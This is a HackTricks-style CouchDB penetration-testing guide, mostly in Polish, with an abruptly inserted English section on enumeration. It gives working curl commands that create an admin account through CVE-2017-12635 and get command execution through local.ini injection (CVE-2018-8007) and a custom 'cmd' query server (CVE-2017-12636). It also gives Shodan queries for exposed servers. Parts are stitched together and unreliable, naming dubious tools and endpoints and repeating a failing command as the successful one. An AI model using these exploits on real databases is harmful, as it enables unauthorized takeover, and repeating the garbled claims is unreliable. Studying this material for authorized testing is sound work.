hacktricks/network-services-pentesting/5984-pentesting-couchdb.md
2024-02-11 01:46:25 +00:00

378 lines
23 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 5984,6984 - Testowanie penetracyjne CouchDB
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
## **Podstawowe informacje**
**CouchDB** to wszechstronna i potężna **baza danych zorientowana na dokumenty**, która organizuje dane za pomocą struktury **mapy klucz-wartość** wewnątrz każdego **dokumentu**. Pola wewnątrz dokumentu mogą być reprezentowane jako **pary klucz/wartość, listy lub mapy**, co zapewnia elastyczność w przechowywaniu i pobieraniu danych.
Każdemu **dokumentowi** przechowywanemu w CouchDB przypisywany jest **unikalny identyfikator** (`_id`) na poziomie dokumentu. Ponadto, każda modyfikacja dokonana i zapisana w bazie danych otrzymuje **numer rewizji** (`_rev`). Numer tej rewizji umożliwia efektywne **śledzenie i zarządzanie zmianami**, ułatwiając łatwe pobieranie i synchronizację danych w bazie danych.
**Domyślny port:** 5984 (http), 6984 (https)
```
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
```
## **Automatyczne wyliczanie**
CouchDB jest bazą danych NoSQL, która może być podatna na różne ataki. Przed przystąpieniem do testowania penetracyjnego CouchDB, warto przeprowadzić automatyczne wyliczanie, aby zidentyfikować dostępne zasoby i potencjalne luki w zabezpieczeniach.
### **Nmap**
Nmap jest popularnym narzędziem do skanowania sieci, które może być używane do wykrywania otwartych portów i usług na hoście. Możemy użyć Nmap do skanowania portów CouchDB, aby sprawdzić, czy serwer CouchDB jest dostępny.
```bash
nmap -p 5984 <adres_IP>
```
### **CouchDB Fauxton**
CouchDB Fauxton to interfejs użytkownika dostępny w przeglądarce, który umożliwia zarządzanie bazą danych CouchDB. Możemy użyć Fauxtona do automatycznego wyliczania dostępnych baz danych i dokumentów.
```bash
http://<adres_IP>:5984/_utils/
```
### **CouchDB API**
CouchDB udostępnia API, które umożliwia interakcję z bazą danych za pomocą żądań HTTP. Możemy użyć API, aby automatycznie wyliczyć dostępne bazy danych, dokumenty i widoki.
```bash
GET http://<adres_IP>:5984/_all_dbs
GET http://<adres_IP>:5984/<nazwa_bazy_danych>
GET http://<adres_IP>:5984/<nazwa_bazy_danych>/<id_dokumentu>
GET http://<adres_IP>:5984/<nazwa_bazy_danych>/_design/<nazwa_widoku>/_view/<nazwa_widoku>
```
### **CouchDB-Lucene**
CouchDB-Lucene to rozszerzenie, które umożliwia pełnotekstowe wyszukiwanie w bazie danych CouchDB. Możemy użyć CouchDB-Lucene do automatycznego wyliczania dostępnych indeksów i wyszukiwań.
```bash
http://<adres_IP>:5984/_fti/
```
### **CouchDB-Enum**
CouchDB-Enum to narzędzie napisane w języku Python, które automatycznie wylicza dostępne bazy danych, dokumenty i widoki w bazie danych CouchDB.
```bash
python couchdb-enum.py <adres_IP>
```
Automatyczne wyliczanie jest ważnym krokiem podczas testowania penetracyjnego CouchDB, ponieważ pomaga zidentyfikować potencjalne luki w zabezpieczeniach i dostępne zasoby, które mogą być wykorzystane podczas ataku.
```bash
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
```
### Baner
CouchDB exposes a banner that can provide useful information about the version and configuration of the server. This information can be obtained by sending a GET request to the root URL of the CouchDB server.
```plaintext
GET /
```
The response will include the server banner, which typically includes the version number and other details.
### Version Detection
CouchDB version detection can be performed by analyzing the server banner or by sending a GET request to the `_utils` endpoint.
```plaintext
GET /_utils/
```
The response will include the version number of CouchDB.
### Database Enumeration
To enumerate the databases hosted on a CouchDB server, send a GET request to the `_all_dbs` endpoint.
```plaintext
GET /_all_dbs
```
The response will include a list of all the databases on the server.
### Document Enumeration
To enumerate the documents within a specific database, send a GET request to the `_all_docs` endpoint.
```plaintext
GET /<database_name>/_all_docs
```
The response will include a list of all the documents within the specified database.
### User Enumeration
To enumerate the users registered on a CouchDB server, send a GET request to the `_users` endpoint.
```plaintext
GET /_users
```
The response will include a list of all the registered users.
### View Enumeration
To enumerate the views defined within a specific database, send a GET request to the `_design/<design_document>/_view` endpoint.
```plaintext
GET /<database_name>/_design/<design_document>/_view
```
The response will include a list of all the views defined within the specified database.
### Replication Enumeration
To enumerate the replications configured on a CouchDB server, send a GET request to the `_replicator` endpoint.
```plaintext
GET /_replicator
```
The response will include a list of all the configured replications.
### Privilege Enumeration
To enumerate the privileges assigned to users on a CouchDB server, send a GET request to the `_security` endpoint.
```plaintext
GET /_security
```
The response will include information about the privileges assigned to users.
### Cluster Enumeration
To enumerate the nodes in a CouchDB cluster, send a GET request to the `_membership` endpoint.
```plaintext
GET /_membership
```
The response will include information about the nodes in the cluster.
```
curl http://IP:5984/
```
To wywołuje żądanie GET do zainstalowanej instancji CouchDB. Odpowiedź powinna wyglądać mniej więcej tak jak jedno z poniższych:
```bash
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
```
{% hint style="info" %}
Zauważ, że jeśli dostęp do głównego katalogu couchdb otrzymasz `401 Unauthorized` z czymś takim jak to: `{"error":"unauthorized","reason":"Authentication required."}` **nie będziesz w stanie uzyskać** dostępu do baneru ani żadnego innego punktu końcowego.
{% endhint %}
### Wyliczanie informacji
Oto punkty końcowe, do których można uzyskać dostęp za pomocą żądania **GET** i wyodrębnić pewne interesujące informacje. Możesz znaleźć [**więcej punktów końcowych i bardziej szczegółowe opisy w dokumentacji couchdb**](https://docs.couchdb.org/en/latest/api/index.html).
* **`/_active_tasks`** Lista uruchomionych zadań, w tym typ zadania, nazwa, status i identyfikator procesu.
* **`/_all_dbs`** Zwraca listę wszystkich baz danych w instancji CouchDB.
* **`/_cluster_setup`** Zwraca stan węzła lub klastra zgodnie z kreatora konfiguracji klastra.
* **`/_db_updates`** Zwraca listę wszystkich zdarzeń bazy danych w instancji CouchDB. Istnienie bazy danych `_global_changes` jest wymagane do korzystania z tego punktu końcowego.
* **`/_membership`** Wyświetla węzły, które są częścią klastra jako `cluster_nodes`. Pole `all_nodes` wyświetla wszystkie węzły, o których ten węzeł wie, w tym te, które są częścią klastra.
* **`/_scheduler/jobs`** Lista zadań replikacji. Każdy opis zadania będzie zawierał informacje o źródle i celu, identyfikatorze replikacji, historii ostatnich zdarzeń i kilku innych rzeczach.
* **`/_scheduler/docs`** Lista stanów dokumentów replikacji. Zawiera informacje o wszystkich dokumentach, nawet w stanach `completed` i `failed`. Dla każdego dokumentu zwraca identyfikator dokumentu, bazę danych, identyfikator replikacji, źródło i cel, oraz inne informacje.
* **`/_scheduler/docs/{replicator_db}`**
* **`/_scheduler/docs/{replicator_db}/{docid}`**
* **`/_node/{node-name}`** Punktem końcowym `/_node/{node-name}` można potwierdzić nazwę węzła Erlang serwera przetwarzającego żądanie. Jest to najbardziej przydatne podczas dostępu do `/_node/_local` w celu pobrania tych informacji.
* **`/_node/{node-name}/_stats`** Zasób `_stats` zwraca obiekt JSON zawierający statystyki działającego serwera. Dosłowny ciąg znaków `_local` służy jako alias dla lokalnej nazwy węzła, więc dla wszystkich adresów URL statystyk, `{node-name}` można zastąpić `_local`, aby działać na statystykach lokalnego węzła.
* **`/_node/{node-name}/_system`** Zasób \_system zwraca obiekt JSON zawierający różne statystyki na poziomie systemu działającego serwera\_.\_ Możesz użyć \_\_`_local` jako {node-name} aby uzyskać informacje o bieżącym węźle.
* **`/_node/{node-name}/_restart`**
* **`/_up`** Potwierdza, że serwer jest uruchomiony, działa i gotowy do odpowiedzi na żądania. Jeśli [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) jest `true` lub `nolb`, punkt końcowy zwróci odpowiedź 404.
* **`/_uuids`** Wysyła żądanie o jedno lub więcej unikalnych identyfikatorów UUID z instancji CouchDB.
* **`/_reshard`** Zwraca liczbę ukończonych, nieudanych, uruchomionych, zatrzymanych i wszystkich zadań wraz ze stanem przeprowadzania operacji resharding na klastrze.
Więcej interesujących informacji można wyodrębnić, jak wyjaśniono tutaj: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
### **Lista baz danych**
```
curl -X GET http://IP:5984/_all_dbs
```
Jeśli żądanie odpowiada **401 unauthorised**, to potrzebujesz **poprawnych danych uwierzytelniających**, aby uzyskać dostęp do bazy danych:
```
curl -X GET http://user:password@IP:5984/_all_dbs
```
Aby znaleźć prawidłowe dane uwierzytelniające, można **spróbować** [**przeprowadzić atak brutalnej siły**](../generic-methodologies-and-resources/brute-force.md#couchdb).
Poniżej znajduje się **przykład** odpowiedzi couchdb, gdy masz **wystarczające uprawnienia** do wyświetlania listy baz danych (to tylko lista baz danych):
```bash
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
```
### Informacje o bazie danych
Możesz uzyskać pewne informacje o bazie danych (takie jak liczba plików i rozmiary) poprzez dostęp do nazwy bazy danych:
```bash
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
```
### **Lista dokumentów**
Wypisz każdy wpis wewnątrz bazy danych
```bash
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
```
### **Odczytaj dokument**
Odczytaj zawartość dokumentu wewnątrz bazy danych:
```bash
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
```
## Eskalacja uprawnień w CouchDB [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
Dzięki różnicom między parserami JSON w Erlangu i JavaScript można **utworzyć użytkownika admina** o danych uwierzytelniających `hacktricks:hacktricks` za pomocą następującego żądania:
```bash
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
```
[**Więcej informacji na temat tej luki znajdziesz tutaj**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
## CouchDB RCE
### **Przegląd zabezpieczeń pliku cookie Erlang**
Przykład [stąd](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
W dokumentacji CouchDB, konkretnie w sekcji dotyczącej konfiguracji klastra ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), omawiane jest wykorzystanie portów przez CouchDB w trybie klastra. Wspomina się, że, podobnie jak w trybie samodzielnym, używany jest port `5984`. Dodatkowo, port `5986` jest przeznaczony dla lokalnych interfejsów API węzła, a co ważne, Erlang wymaga portu TCP `4369` dla Erlang Port Mapper Daemon (EPMD), który umożliwia komunikację między węzłami w klastrze Erlang. Ta konfiguracja tworzy sieć, w której każdy węzeł jest połączony z każdym innym węzłem.
Podkreślono istotne zalecenie dotyczące portu `4369`. Jeśli ten port jest dostępny przez Internet lub jakąkolwiek niewiarygodną sieć, bezpieczeństwo systemu w dużej mierze zależy od unikalnego identyfikatora znanego jako "cookie". To cookie działa jako zabezpieczenie. Na przykład, w danym procesie można zauważyć cookie o nazwie "monster", co wskazuje na jego rolę w ramach struktury zabezpieczeń systemu.
```
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
```
Dla zainteresowanych zrozumieniem, jak można wykorzystać "cookie" do zdalnego wykonania kodu (RCE) w kontekście systemów Erlang, dostępna jest dedykowana sekcja do dalszego czytania. Szczegółowo opisuje ona metody wykorzystywania plików cookie Erlang w nieautoryzowany sposób w celu uzyskania kontroli nad systemami. Możesz **[zapoznać się z szczegółowym przewodnikiem dotyczącym nadużywania plików cookie Erlang do RCE tutaj](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.
### **Wykorzystanie CVE-2018-8007 poprzez modyfikację local.ini**
Przykład [stąd](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
Zbadano niedawno ujawnioną podatność, CVE-2018-8007, dotyczącą Apache CouchDB, która ujawniła, że do jej wykorzystania wymagane są uprawnienia do zapisu pliku `local.ini`. Chociaż nie jest to bezpośrednio zastosowalne do początkowego systemu docelowego ze względu na ograniczenia bezpieczeństwa, dokonano modyfikacji w celu przyznania dostępu do zapisu pliku `local.ini` w celach badawczych. Poniżej przedstawiono szczegółowe kroki i przykłady kodu, które ilustrują ten proces.
Najpierw przygotowuje się środowisko, upewniając się, że plik `local.ini` jest zapisywalny, co można zweryfikować, wyświetlając uprawnienia:
```bash
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
```
Aby wykorzystać podatność, wykonuje się polecenie curl, które jest skierowane na konfigurację `cors/origins` w pliku `local.ini`. Wstrzykuje to nowe źródło wraz z dodatkowymi poleceniami w sekcji `[os_daemons]`, mającym na celu wykonanie dowolnego kodu:
```bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
```
Kolejna weryfikacja pokazuje wstrzykniętą konfigurację w `local.ini`, porównując ją z kopią zapasową, aby uwidocznić zmiany:
```bash
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
```
Początkowo oczekiwany plik (`/tmp/0xdf`) nie istnieje, co wskazuje, że wstrzyknięta komenda nie została jeszcze wykonana. Dalsze dochodzenie ujawnia, że działają procesy związane z CouchDB, w tym jeden, który potencjalnie może wykonać wstrzykniętą komendę:
```bash
root@canape:/home/homer/bin# ps aux | grep couch
```
Poprzez zakończenie zidentyfikowanego procesu CouchDB i umożliwienie systemowi automatycznego ponownego uruchomienia, zostaje uruchomione wykonanie wstrzykniętej komendy, co potwierdza istnienie wcześniej brakującego pliku:
```bash
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
```
To badanie potwierdza możliwość wykorzystania CVE-2018-8007 w określonych warunkach, zwłaszcza wymagane jest uprawnienie do zapisu pliku `local.ini`. Przedstawione przykłady kodu i kroki proceduralne oferują jasny przewodnik po replikacji ataku w kontrolowanym środowisku.
Aby uzyskać więcej szczegółów na temat CVE-2018-8007, odwołaj się do komunikatu firmy mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
### **Badanie CVE-2017-12636 z uprawnieniami do zapisu w local.ini**
Przykład [stąd](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
Zbadano podatność znana jako CVE-2017-12636, która umożliwia wykonanie kodu za pośrednictwem procesu CouchDB, chociaż określone konfiguracje mogą uniemożliwić jej wykorzystanie. Pomimo dostępności wielu przykładów Proof of Concept (POC) online, konieczne są dostosowania, aby wykorzystać podatność w wersji CouchDB 2, różniącej się od powszechnie atakowanej wersji 1.x. Pierwsze kroki polegają na sprawdzeniu wersji CouchDB i potwierdzeniu braku oczekiwanej ścieżki serwerów zapytań.
```bash
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
```
Aby dostosować się do wersji CouchDB 2.0, używana jest nowa ścieżka:
```bash
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
```
Próby dodania i wywołania nowego serwera zapytań napotkały błędy związane z uprawnieniami, o czym świadczy poniższy wynik:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```
Dalsze dochodzenie wykazało problemy z uprawnieniami pliku `local.ini`, który nie był zapisywalny. Poprzez modyfikację uprawnień pliku za pomocą dostępu root lub homer, możliwe stało się kontynuowanie:
```bash
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
```
Następne próby dodania serwera zapytań zakończyły się sukcesem, co potwierdzają brak komunikatów o błędach w odpowiedzi. Pomyślna modyfikacja pliku `local.ini` została potwierdzona poprzez porównanie plików:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```
Proces kontynuowano poprzez utworzenie bazy danych i dokumentu, a następnie próbę wykonania kodu za pomocą niestandardowego mapowania widoku do nowo dodanego serwera zapytań:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
```
**[Podsumowanie](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)** z alternatywnym ładunkiem dostarcza dalszych informacji na temat wykorzystania CVE-2017-12636 w określonych warunkach. **Przydatne zasoby** do wykorzystania tej podatności obejmują:
- [Kod exploitu POC](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
- [Wpis w bazie Exploit Database](https://www.exploit-db.com/exploits/44913/)
## Shodan
* `port:5984 couchdb`
## Referencje
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>